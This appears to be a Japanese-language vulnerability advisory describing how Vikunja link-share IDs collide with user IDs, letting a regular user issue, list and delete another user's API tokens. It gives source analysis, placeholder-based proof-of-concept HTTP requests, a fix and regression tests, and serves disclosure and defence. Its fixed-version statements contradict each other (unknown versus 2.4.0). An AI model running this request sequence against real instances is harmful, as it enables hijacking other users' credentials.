Vikunja: リンク共有の主要IDの衝突により、異なるアカウント間でAPIトークンの発行と管理が可能になる
概要
Vikunjaは、一般的な認証済みAPIルートグループを通じて、通常のユーザーのJSON Webトークン(JWT)とリンク共有のJWTの両方を受け入れます。リンク共有のJWTは、`models.LinkSharing`という主要IDに解決され、その`GetID()`メソッドは数値の`link_shares.id`を返します。APIトークンの管理モデルは、APIトークンを作成、一覧表示、削除する際に、この一般的な数値を`users.id`として扱います。
`users.id`と`link_shares.id`が独立した正の数列であるため、別のユーザーのIDと一致するリンク共有は、`/api/v1/tokens`によってそのユーザーとして扱われます。通常の認証済み攻撃者は、認証されたユーザーの検索を通じてターゲットの数値ユーザーIDを取得し、攻撃者が書き込み可能なプロジェクトにリンク共有を作成することで、リンク共有の数列がその値に達するまでリンク共有を作成し続けることができます。衝突したリンク共有の主要IDは、ターゲットのAPIトークンのメタデータを一覧表示したり、ターゲットが所有する新しいAPIトークンを発行したり、ターゲットが所有するAPIトークンを削除したりすることができます。発行された新しいトークンは、攻撃者が選択した有効なAPIスコープで、ターゲットユーザーの既存の権限に基づいて動作します。
私は、脆弱な`v2.3.0`のソースコード、変更のコミット、安定版のタグ履歴、および検査されたメインリビジョンを直接確認しました。また、記録されたローカルHTTPおよびネイティブルーターの検証結果も確認しました。動的なテストでは、PostgreSQLと合成データを使用したローカルの`v2.3.0`のDocker環境のみを使用しました。パブリック、ホスト、またはその他の外部インスタンスはテストしていません。過去のタグは、動的に実行するのではなく、ソースコードから確認しました。
| フィールド | 値 |
|---|---|
| 製品 | Vikunja API |
| 状態 | 検証済み、公開可能 |
| 影響を受ける可能性のある安定版 | `v0.22.0` から `v2.3.0` (含む) |
| 影響を受けない可能性のある最も近い安定版 | `v0.21.0` |
| 関連するコミット | `e6b25bd57b537ef9a72b5acdadf446ca5ef77bfa` |
| 影響を受ける可能性のある最新のメインブランチの修正 | `95b7e673fb5ee407498fa4b13e8b4c57847a4a0b` |
| 修正バージョン | 不明。検証済みの修正コミットまたはリリースは特定されませんでした。 |
| 深刻度 | 高、CVSS v3.1 スコア 8.1 |
| ベクター | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |
| 脆弱性 | 主なもの: CWE-863 (不適切な認証); 副次的なもの: CWE-639 |
安定版の範囲は、ソースコードに基づいています。この問題は、コミット `e6b25bd57b...` が、認証されたAPIトークンのCRUD(作成、読み取り、更新、削除)ルートを追加した際に、汎用的な `web.Auth.GetID()` の所有権モデルを維持したことで、初めて発生しました。`v0.21.0` には、APIトークンのモデルまたはこれらのルートは含まれていません。`v0.22.0` から `v2.3.0` までのすべての安定版タグに含まれるものは、脆弱なソースからシンクへの関連付けを含んでいます。派生フォークやベンダー固有のビルドは評価されていません。
## 背景
### 2種類の認証済み主体が、1つの数値インターフェースを共有する
Vikunjaの認証済みルートグループは、共通のトークンミドルウェアによって保護されています。このミドルウェアは、通常のユーザー、APIトークンの所有者、またはリンク共有を、リクエストの `web.Auth` プリンシパルとして確立できます。`/api/v1/tokens` ハンドラは、`pkg/routes/routes.go` でこの汎用的なグループに登録されています。
```go
a.Use(SetupTokenMiddleware())
// APIトークン
apiTokenProvider := &handler.WebHandler{
EmptyStruct: func() handler.CObject {
return &models.APIToken{}
},
}
a.GET("/tokens", apiTokenProvider.ReadAllWeb)
a.PUT("/tokens", apiTokenProvider.CreateWeb)
a.DELETE("/tokens/:token", apiTokenProvider.DeleteWeb)
```
セキュリティに関わる重要な点は、認証の応答が「どのオブジェクトが主体であるか」を示すのに対し、`web.Auth.GetID()` が返すのは型付けされていない整数であるということです。通常のユーザーのIDは `users` 名前空間に属し、リンク共有のIDは、個別に割り当てられた `link_shares` 名前空間に属します。これらの整数の等価性は、主体が同じユーザーを表すことを意味しません。
### リンク共有認証における共有行IDの保持
`pkg/modules/auth/auth.go` は、共有の数値IDを持つリンク共有JWTを作成し、その後、そのトークンを `models.LinkSharing` オブジェクトに変換します。
```go
claims["type"] = AuthTypeLinkShare
claims["id"] = share.ID
claims["hash"] = share.Hash
claims["project_id"] = share.ProjectID
// ...
if typ == AuthTypeLinkShare && config.ServiceEnableLinkSharing.GetBool() {
s := db.NewSession()
defer s.Close()
return models.GetLinkShareFromClaims(s, claims)
}
```
`LinkSharing` モデルは、独自の正の自動インクリメントキーを宣言し、`pkg/models/link_sharing.go` の汎用インターフェースを通じて、それを変更せずに返します。
```go
type LinkSharing struct {
ID int64 `xorm:"bigint autoincr not null unique pk" json:"id" param:"share"`
// ...
}
func (share *LinkSharing) GetID() int64 {
return share.ID
}
```
リンク共有は、共有プロジェクトの権限範囲内で動作すると想定されます。一方、APIトークンの管理は、ユーザーアカウントの認証情報範囲です。トークンはユーザーが所有し、そのユーザーとして将来のリクエストを認証することができます。したがって、通常は、正しく識別された通常のユーザー主体のみがAPIトークンの管理にアクセスでき、そのユーザーIDが所有者キーとして使用されるべきです。
### 攻撃者の能力
検証された攻撃者は、管理者ではなく、通常の認証済みユーザーです。攻撃者は、通常のリンク共有を作成するために、所有しているか、または書き込み権限を持つプロジェクトが必要です。認証済みユーザーの検索機能は、一致するユーザーの数値IDを公開しますが、`pkg/routes/api/v1/user_list.go` ではメールアドレスを非表示にします。
```go
users, err := user.ListUsers(s, search, currentUser, nil)
// ...
for in := range users {
users[in].Email = ""
}
return c.JSON(http.StatusOK, users)
```
この応答により、テストされたデフォルトのフローにおいて、攻撃対象が直接特定されてしまう可能性があります。オペレーターの登録ポリシーやユーザー検索の制限によって、実際のターゲット選択は変更される可能性がありますが、APIトークン境界における欠落しているプリンシパルタイプのチェックは復元されません。
## 脆弱性の詳細
### ソースからシンクへの流れ
まず、通常の攻撃者アカウントで認証を行い、`GET /api/v1/users` を通じて候補となる `<TARGET_USER_ID>` を取得します。次に、攻撃者が書き込み可能なプロジェクトでリンク共有を作成します。`LinkSharing.Create` は、呼び出し元から提供されたIDをリセットし、データベースが次の値を割り当てます。
```go
func (share *LinkSharing) Create(s *xorm.Session, a web.Auth) (err error) {
// 権限とハッシュの生成は省略
share.SharedByID = a.GetID()
// ...
share.ID = 0
_, err = s.Insert(share)
return
}
```
この2つのデータベースシーケンスは独立して進行します。新しく作成された共有で `share.ID == <TARGET_USER_ID>` となっている場合、その共有で認証を行うと、有効な、サーバーが発行したリンク共有のJWTトークンが取得できます。`GetAuthFromClaims` は、それを `LinkSharing` の行にマッピングします。したがって、汎用ハンドラに渡されるプリンシパルは、ユーザーではないにもかかわらず、`GetID()` から `<TARGET_USER_ID>` を返します。
ここから、APIトークンモデルは、プリンシパルタイプをチェックせずに、名前空間の境界を越えます。`pkg/models/api_tokens.go` でのトークン作成では、汎用IDが、ユーザーが所有する `owner_id` カラムに直接割り当てられます。
```go
func (t *APIToken) Create(s *xorm.Session, a web.Auth) (err error) {
// トークンの生成は省略
t.OwnerID = a.GetID()
if err := PermissionsAreValid(t.APIPermissions); err != nil {
return err
}
_, err = s.Insert(t)
return err
}
```
この処理を補償するような権限チェックはありません。`CanCreate` は、すべての `web.Auth` 実装を受け入れます。
```go
func (t *APIToken) CanCreate(_ *xorm.Session, _ web.Auth) (bool, error) {
return true, nil
}
```
もし、競合する値をリスト表示に含める場合、`ReadAll`は、オーナーのフィルタとして同じ汎用的な整数を使用します。
```go
var where builder.Cond = builder.Eq{"owner_id": a.GetID()}
```
リストのレスポンスには、対象ユーザーが所有するトークンID、タイトル、権限セット、有効期限、および作成時のメタデータが表示されます。ただし、既存の対象トークンの生の値を公開するものではありません。より重要な機密性の問題は、作成時に一度返される新しい認証情報です。なぜなら、その保存されているオーナーが対象ユーザーであるため、その後のAPIトークン認証は、対象ユーザーを特定し、作成リクエストで選択されたスコープを適用します。
削除は、同じ欠陥の3つ目の現れ方です。権限の判断と変更の両方で、数値によるオーナーシップのみが比較されます。
```go
func (t *APIToken) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {
token, err := GetAPITokenByID(s, t.ID)
if err != nil {
return false, err
}
if token.OwnerID != a.GetID() {
return false, nil
}
*t = *token
return true, nil
}
func (t *APIToken) Delete(s *xorm.Session, a web.Auth) (err error) {
_, err = s.Where("id = ? AND owner_id = ?", t.ID, a.GetID()).
Delete(&APIToken{})
return err
}
```
したがって、作成、リスト表示、および削除は、同じ脆弱性ファミリーに属します。これらは、同じエントリポイント、プリンシパルネームスペースの競合、オーナーの解釈、および必要な修正策を共有します。リスト表示または削除の動作を個別のレポートとして扱うと、根本原因が重複して記述されるだけで、独立したバグの説明にはなりません。
### 期待される認証動作と実際の認証動作
| リンク共有JWTを使用したリクエスト | 期待される結果 | `v2.3.0`での実際の動作 |
| --- | --- | --- |
| `GET /api/v1/tokens` | `401`または`403` | `200`; 競合するユーザーのトークンメタデータが返される |
| `PUT /api/v1/tokens` | `401`または`403`; 新しい行は作成されない | `201`; 競合するユーザーを所有者として、トークンの行が作成される |
| `DELETE /api/v1/tokens/<TOKEN_ID>` | `401`または`403`; 行は保持される | `200`; 競合するユーザーのトークンの行が削除される |
通常のユーザーのJWTを使用したテストでは、同じGET、PUT、DELETEシーケンスでそれぞれ`200`、`201`、`200`という結果が得られました。したがって、リンク共有の主体を拒否することで、意図されたユーザー向けのAPIの契約を変更せずに問題を修正できます。
## 脆弱性分析
### 最も有効な攻撃経路:ターゲットユーザーが所有するスコープ付きトークンを発行する
最も有効な攻撃経路は、メタデータのリスト表示ではなく、認証情報の発行です。ターゲットバージョンでサポートされている有効なAPI権限セットを選択し、競合するリンク共有主体を通じて送信し、一時的なAPIトークンを受け取ります。データベースの所有者フィールドは`<TARGET_USER_ID>`を指します。このトークンが後で許可された経路に提示されると、通常のAPIトークン認証により、その所有者IDからターゲットユーザーが読み込まれます。ローカル検証では、この経路で合成されたターゲットユーザーが所有するプライベートプロジェクトが読み込まれました。
このトークンは、Vikunjaに登録されている権限カタログから、有効な書き込み権限を持つスコープを使用して作成することもできます。影響は、選択されたトークンのスコープとターゲットユーザーの現在の権限によって制限されます。このレポートでは、すべてのエンドポイントへのアクセス、管理者権限、インスタンス全体の侵害、またはアプリケーション外での実行について言及していません。
### 信頼性と到達可能性の制約
選択されたターゲットユーザーIDは、次のリンク共有シーケンス値以上である必要があります。シーケンスがすでにターゲットのIDを通過している場合、追加の共有を作成または削除しても、それを後方に移動させることはできません。検証されたデータベースの動作は単調であり、削除によってIDが再利用されることはなく、次の共有は常に次の高い値を受け取ります。
処理時間は、次の共有IDと`<TARGET_USER_ID>`の間の差に比例して増加します。シーケンスの各ステップで、通常1つの共有作成が必要です。ローカルの標準API検証では、上限設定された共有作成の回数が4回に達した時点で、競合が発生しました。調査したパスには、プロジェクトごとの共有作成に関する特別な制限は存在しませんでした。
レート制限は、デフォルトでは無効になっています。ソースのデフォルト設定で有効にした場合、制限は60秒あたり100リクエストです。この制限は、特にリバースプロキシの制限と組み合わせる場合、大規模なシーケンス処理を遅くする可能性がありますが、認証の脆弱性を解消するものではありません。リクエストの送信速度を調整することができます。非常に大きなIDの差、カスタムの制限、ユーザー検索の制限、リンク共有の無効化、またはデプロイメント固有の制限は、実用性を低下させる可能性があります。
### その他の影響と範囲
ターゲットトークンのメタデータを表示することは、削除するトークンIDを選択するのに役立ち、認証管理の状態を明らかにするものの、既存の生のトークン値は表示しません。削除操作は、ターゲットの連携を解除したり、認証の状態を変更したりする可能性があります。これらは、発行に使用される同じ競合の、整合性に関わる影響です。
サービスレベルでの可用性に影響はないと判断されました。トークンの削除は、整合性への影響として評価され、したがって、この脆弱性の深刻度は`A:N`と評価されます。検証された機能は、ブラウザセッションの乗っ取り、パスワードの変更、TOTPの回避、リモートコードの実行、または管理者権限のバイパスを引き起こすものではありません。検証中に確認された、隣接するユーザーアカウントに関連する機能は、明示的にリンク共有を拒否するか、発行者によって生成されたリンク共有JWTには含まれていないクレームに依存していました。
### 深刻度と脆弱性マッピング
`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`のスコアは**8.1(高い)**です。
- `AV:N`: 脆弱なHTTP APIは、通常Vikunjaが公開されている場合、リモートからアクセス可能です。
- `AC:L`: 検証済みのデフォルトのフローでは、競合状態、秘密のターゲット識別子、またはデフォルト以外の設定は必要ありません。単調な到達可能性条件とリクエスト数は、ターゲットの選択と試行に影響を与えますが、到達可能なターゲットが選択された後は、攻撃者の制御を超える結果は生じません。
- `PR:L`: 書き込み可能なプロジェクトを持つ、通常の認証済みアカウントで十分です。
- `UI:N`: ターゲットユーザーのアクションは必要ありません。
- `S:U`: 認証の混乱は、Vikunjaのセキュリティ権限の範囲内に留まります。
- `C:H/I:H`: ターゲットが所有するトークンは、ターゲットの権限下で、ターゲットのプライベートデータを公開したり、選択された有効な書き込み権限を行使したりする可能性があります。攻撃者は、ターゲットが所有する認証情報を生成および削除することもできます。
- `A:N`: サービスレベルでの可用性に影響がないことが検証されました。
主な脆弱性は、CWE-863です。これは、ユーザーが所有する認証情報を使用する前に、主体タイプが認証されていないためです。CWE-639は、数値的な所有者キーの衝突に関する有用な二次的なラベルですが、これは別の脆弱性ではなく、同じ失敗を記述しています。
## 概念実証
### 安全性および前提条件
合成アカウントとデータを使用した、使い捨てのローカル環境で実行してください。この手順を、パブリックインスタンスまたはサードパーティのインスタンスに対して実行しないでください。以下に示すリクエストは、意図的に細部が省略されており、自動化されたものや実行可能なエクスプロイトは含まれていません。
前提条件:
1. リンク共有が有効になっている。
2. 通常の攻撃者アカウントは、ユーザーを検索できる。
3. 攻撃者は、`<ATTACKER_PROJECT_ID>`を所有しているか、または書き込み権限を持っている。
4. `<TARGET_USER_ID>`は、次のリンク共有ID以上である。
5. ターゲットは、`<TARGET_PRIVATE_PROJECT_ID>`を所有しており、テストの前に攻撃者アカウントはそれを読み取ることができない。
### 最小限の、細部が省略されたリクエストシーケンス
まず、通常の攻撃者セッションを使用して、合成ターゲットの数値IDを特定します。
```http
GET /api/v1/users?s=<REDACTED_TARGET_USERNAME> HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Authorization: Bearer <REDACTED_ATTACKER_JWT>
```
関連する、マスクされたレスポンスのフィールドは以下の通りです。
```text
id=<TARGET_USER_ID>
```
次に、攻撃者が書き込み可能なプロジェクトで、通常のリンク共有を作成します。このリクエストを個別のラボアクションとして、返されたIDが`<TARGET_USER_ID>`よりも小さい間だけ繰り返します。もし返されたIDが`<TARGET_USER_ID>`よりも大きい場合は、直ちに停止します。
```http
PUT /api/v1/projects/<ATTACKER_PROJECT_ID>/shares HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Authorization: Bearer <REDACTED_ATTACKER_JWT>
Content-Type: application/json
{"name":"collision-validation","permission":0}
```
脆弱な状態では、サーバーは以下の条件を満たす共有を返します。
```text
<CREATED_SHARE_ID> == <TARGET_USER_ID>
<REDACTED_SHARE_HASH> がその共有を識別する
```
通常のリンク共有のエンドポイントを通じて、衝突した共有を認証します。
```http
POST /api/v1/shares/<REDACTED_SHARE_HASH>/auth HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Content-Type: application/json
{}
```
返された認証情報を`<REDACTED_LINK_SHARE_JWT>`としてのみ保存します。このサーバーが発行したリンク共有のJWTを使用すると、以下のリクエストは拒否されるはずですが、`v2.3.0`では受け入れられます。
```http
GET /api/v1/tokens HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Authorization: Bearer <REDACTED_LINK_SHARE_JWT>
```
レスポンスは、`<TARGET_USER_ID>`が所有するトークンのメタデータを返します。ただし、生の認証情報値は返しません。
次に、プライベートプロジェクトのチェックに必要な範囲で、新しいトークンをリクエストします。
```http
PUT /api/v1/tokens HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Authorization: Bearer <REDACTED_LINK_SHARE_JWT>
Content-Type: application/json
{
"title": "collision-validation",
"permissions": {"projects": ["read_one"]},
"expires_at": "<FUTURE_TIMESTAMP>"
}
```
一度だけ返される値を `<REDACTED_CREATED_API_TOKEN>` として記録し、返される行のIDを `<CREATED_TOKEN_ID>` として記録してください。 新しいトークンを、対象のプロジェクトのプライベートエンドポイントに送信することで、異なるアカウント間での結果を確認できます。
```http
GET /api/v1/projects/<TARGET_PRIVATE_PROJECT_ID> HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Authorization: Bearer <REDACTED_CREATED_API_TOKEN>
```
期待される安全な動作は、攻撃者のアカウントがそのプロジェクトへのアクセス権を持っていないため、リクエストが拒否されることです。 また、リンク共有機能は、ユーザーが所有するAPIトークンを作成してはなりません。 しかし、実際には、脆弱な状況下では、対象ユーザーのプロジェクト権限に基づいてリクエストが成功する可能性があります。
最後に、同じ衝突を引き起こすリンク共有JWTを使用して、対象ユーザーが所有するトークンを削除することも可能です。
```http
DELETE /api/v1/tokens/<TARGET_TOKEN_ID> HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Authorization: Bearer <REDACTED_LINK_SHARE_JWT>
```
脆弱な対象環境では、この操作が成功し、対応する対象ユーザーが所有する行が削除されます。 安全な実装では、`401`または`403`のエラーを返し、行を保持する必要があります。
### 検証された結果の例
```text
user_search_exposed_target_id=true
collision_is_exact=true
bounded_share_creations=4
created_token_owner_is_target=true
created_token_read_target_private_project=true
link_share_get_tokens_status=200
link_share_put_tokens_status=201
link_share_delete_token_status=200
regular_user_positive_control=passed
```
このレポートに含まれるすべての値は、記号的なものか、一部がマスクされています。 ローカル検証では、作成されたAPIトークン、リンク共有、および明示的なテストプロジェクトが削除され、クリーンアップの件数はゼロでした。 生のJWT、APIトークン、既存の対象トークン、パスワード、Cookie、および認証情報は、レポートには保持されていません。
## 対策
### 型付きプリンシパルの不変性を復元する
すべてのAPIトークン管理操作において、数値IDが所有者との比較、照会、挿入、または削除に使用される前に、必ず通常のユーザーの主体(principal)が必要となるようにします。`LinkSharing`のみを拒否する禁止リストは、将来の`web.Auth`の実装が同じ名前空間の混乱を再発生させる可能性があるため、より脆弱です。より安全な原則は次のとおりです:*APIトークンの所有権は、検証されたユーザーの主体からのみ派生し、汎用的な`GetID()`の値からは決して派生しない*。
考えられる実装の一つとして、作成、一覧表示、削除、およびそれらの権限メソッドで使用される共有リゾルバーがあります。以下は、適用された修正ではなく、あくまで例示です。具体的なエラーは、Vikunjaの既存の権限エラーの規約に従う必要があります。
```go
func apiTokenUserID(a web.Auth) (int64, bool) {
u, ok := a.(*user.User)
if !ok || u.ID <= 0 {
return 0, false
}
return u.ID, true
}
```
各APIトークンのメソッドは、ブール値がfalseの場合には、常にエラーとなるように設計し、返された`userID`をすべての`owner_id`操作で使用します。このチェックを新規作成のみに適用すると、メタデータの漏洩や削除のリスクが残ります。また、ルート登録でのみ適用すると、モデルレベルの呼び出しが不安定な外部の原則に依存することになります。ルート/サービス境界と、ユーザーが所有するモデル境界の両方で、多層防御を行うことが望ましいです。
将来的には、ユーザーの主体には、名前空間または型を含めるようにし、互換性のある整数に依存しないようにする必要があります。型付きの主体の識別子、ユーザーが所有する操作のための別のインターフェース、または構造化された識別子(例:`(principal_type, principal_id)`)を使用することで、この種の衝突を他の場所で発生させにくくすることができます。
### 回帰テスト
実際の発行者によって生成された、共有IDが固定ユーザーのIDと一致するリンク共有JWTを使用した、フルルーターテストを追加します。期待される結果は次のとおりです。
- link-shareの`GET /api/v1/tokens`は、`401`または`403`を返し、ターゲットとなるトークンのメタデータを公開しません。
- link-shareの`PUT /api/v1/tokens`は、`401`または`403`を返し、新しいレコードを作成しません。
- link-shareの`DELETE /api/v1/tokens/<TOKEN_ID>`は、`401`または`403`を返し、ターゲットとなるレコードを保持します。
- 通常のユーザーのJWTによるGET、PUT、およびDELETEは、既存の正常な動作を維持します。
- ユーザーではない`web.Auth`のテストダブルで、衝突する正のIDを持つものは拒否され、修正が特定のlink-shareの種類に依存しないようにします。
現在の脆弱な`v2.3.0`のルーターは、上記の3つのネガティブなケースで、それぞれ`200`、`201`、および`200`を返していました。データベースへの作成/削除の影響も含まれていました。これらのテストは、型付きのプリンシパルに関する制約が実装された後にのみ合格するはずです。どのような修正も、APIトークンのモデルが進化しているものの、依然として通常のユーザーの正の認証ゲートが欠けているメインの最新バージョンに対して検証する必要があります。
### 報告と修正に関する注意点
この報告書は、非公開の連携した情報開示のために作成されたものであり、提出または公開されていません。公開されている公式のアドバイザリーのインデックスを確認しましたが、同じAPIトークンのプリンシパルIDの衝突という根本原因は特定されませんでした。ただし、この範囲では、非公開の、保留中の、または将来の重複を排除することはできません。修正されたバージョンは特定されていません。
再現テストでは、シンボリックなプレースホルダーと合成的な観察のみを使用しています。生の認証情報、実際のユーザー識別子、内部ホストの詳細、または外部のターゲット結果は含まれていません。この報告書には、製品の修正プログラム、自動化されたエクスプロイト、公開されている問題、またはプルリクエストは付属していません。
## 概要
Vikunjaは、APIトークンの管理を、汎用的な認証済みプリンシパルを通じて行い、`web.Auth.GetID()`からユーザーが所有するトークンの認証情報を取得します。link-shareのプリンシパルは、同じインターフェースを通じて、独立した共有レコードのIDを返します。数値が衝突すると、アプリケーションはAPIトークンの所有者境界で、link shareを関連性のないユーザーと誤認します。
ターゲットIDがまだ共有されていない場合、通常の認証済みユーザー検索やリンク共有の作成を通じて、意図しない共有状態を制御することができます。共有された情報から、検証された動作により、ターゲットが所有するトークンのメタデータが表示され、ターゲットが所有するスコープ付きAPIトークンが発行され、その認証情報がターゲットのプロジェクト権限下で使用され、ターゲットが所有するトークンが削除されます。最も顕著な影響は、アカウント間の機密性と完全性であり、ブラウザセッションやサーバーの侵害ではありません。
直ちに必要な対応は、APIトークンの管理全体で、通常のユーザーの権限を必須とすること、およびGET、PUT、DELETEに対して、ネガティブなリンク共有テストと、正のユーザーコントロールを適用することです。ユーザーが所有するモデルで、汎用的な数値IDを受け入れるものを広範囲にレビューすることは、有用なバリエーション分析につながる可能性がありますが、ここでは追加の脆弱性は報告されていません。
影響を受けるパッケージ:
- go code.vikunja.io/api: 影響範囲は、バージョン0.22.0以上、2.3.0以下。2.4.0で修正済み。